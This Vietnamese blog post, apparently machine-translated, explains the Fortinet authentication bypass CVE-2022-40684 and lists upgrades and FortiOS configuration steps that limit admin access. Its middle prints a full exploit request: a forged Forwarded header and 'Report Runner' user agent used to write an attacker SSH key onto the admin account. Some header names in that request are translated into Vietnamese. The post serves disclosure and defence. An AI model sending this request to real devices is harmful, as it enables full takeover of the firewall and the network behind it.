CVE-2022-40684

Dec 02 2022
Giới thiệu về lỗ hổng CVE-2022-40684 là lỗ hổng bỏ qua xác thực trong một số sản phẩm của Fortinet như FortiOS, Fortiproxy và FortiSwitchManager. Điều này có nghĩa là, sử dụng lỗ hổng này, kẻ tấn công có thể bỏ qua xác thực và đăng nhập với tư cách quản trị viên.

Giới thiệu về lỗ hổng

CVE-2022-40684 là một lỗ hổng bỏ qua xác thực trong một số sản phẩm của Fortinet như FortiOS, Fortiproxy và FortiSwitchManager. Điều này có nghĩa là, sử dụng lỗ hổng này, kẻ tấn công có thể bỏ qua xác thực và đăng nhập với tư cách quản trị viên. Điểm cơ bản cho lỗ hổng này là 9,8 khiến nó trở nên rất quan trọng. Trước khi tiếp tục, hãy hiểu những sản phẩm này là gì:

  1. FortiOS: Đúng như tên gọi, FortiOS, Hệ điều hành mạng Fortinet , là trái tim của Bảo mật Fortinet. Hệ điều hành này là cốt lõi của Cấu trúc bảo mật và liên kết tất cả các thành phần lại với nhau để đảm bảo tích hợp chặt chẽ trong toàn bộ quá trình triển khai của tổ chức.
  2. FortiProxy: Đây là một proxy web an toàn giúp bảo vệ nhân viên khỏi các cuộc tấn công từ internet bằng cách kết hợp nhiều kỹ thuật phát hiện như lọc web.
  3. FortiSwitchManager (FSWM) là nền tảng quản lý tại chỗ cho sản phẩm FortiSwitch . Các thiết bị FortiSwitch kết nối với FortiSwitch Manager qua mạng lớp 3. Bạn có thể định cấu hình một số lượng lớn thiết bị FortiSwitch bằng nền tảng chỉ quản lý FortiSwitch này.

Va chạm

Lỗi này sẽ cho phép người dùng chưa được xác thực thực hiện thao tác trực tiếp trên bảng quản trị thông qua một số yêu cầu HTTP/S (các phương thức có thể là GET, POST, DELETE, v.v.). Có vai trò quản trị viên có thể gây ra một số sự kiện sau:

  1. Kiểm soát tiếp quản toàn bộ ứng dụng
  2. Đạt được quyền truy cập vào cơ sở hạ tầng nội bộ
  3. Thêm hoặc xóa người dùng
  4. Tiếp xúc với dữ liệu nhạy cảm
  5. Sửa đổi khóa SSH của người dùng quản trị để cho phép kẻ tấn công đăng nhập vào hệ thống bị xâm nhập
  6. Giả mạo các tệp cấu hình khác nhau, v.v.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Máy chủ lưu trữ: 10.0.40.67 Tác nhân người dùng: Trình chạy báo cáo Loại nội dung: application/json Đã chuyển tiếp: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected] \”” }

  • Sử dụng tiêu đề Fowarded, kẻ tấn công có thể đặt client_ip thành “127.0.0.1”.
  • Kiểm tra xác thực “truy cập đáng tin cậy” xác minh rằng client_ip là “127.0.0.1” và Tác nhân người dùng là “Người chạy báo cáo”, cả hai đều nằm dưới sự kiểm soát của kẻ tấn công.

“Tìm biện pháp khắc phục quan trọng hơn tìm lỗi”

Sau đây là một số biện pháp khắc phục để bảo vệ một tổ chức khỏi CVE-2022–40684:

  1. Nâng cấp các sản phẩm bị ảnh hưởng.
    Nâng cấp phiên bản FortiOS lên ≥7.2.2 và ≥7.0.7
    Nâng cấp phiên bản FortiProxy lên ≥7.2.1 và ≥ 7.0.7
    Nâng cấp phiên bản FortiSwitchManager ≥7.2.1 và ≥7.0.1
  2. Tắt giao diện quản trị http/https trên FortiOS, FortiProxy và FortiSwitchManager.
  3. Đối với FortiOS, hãy giới hạn địa chỉ IP có thể truy cập giao diện quản trị
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end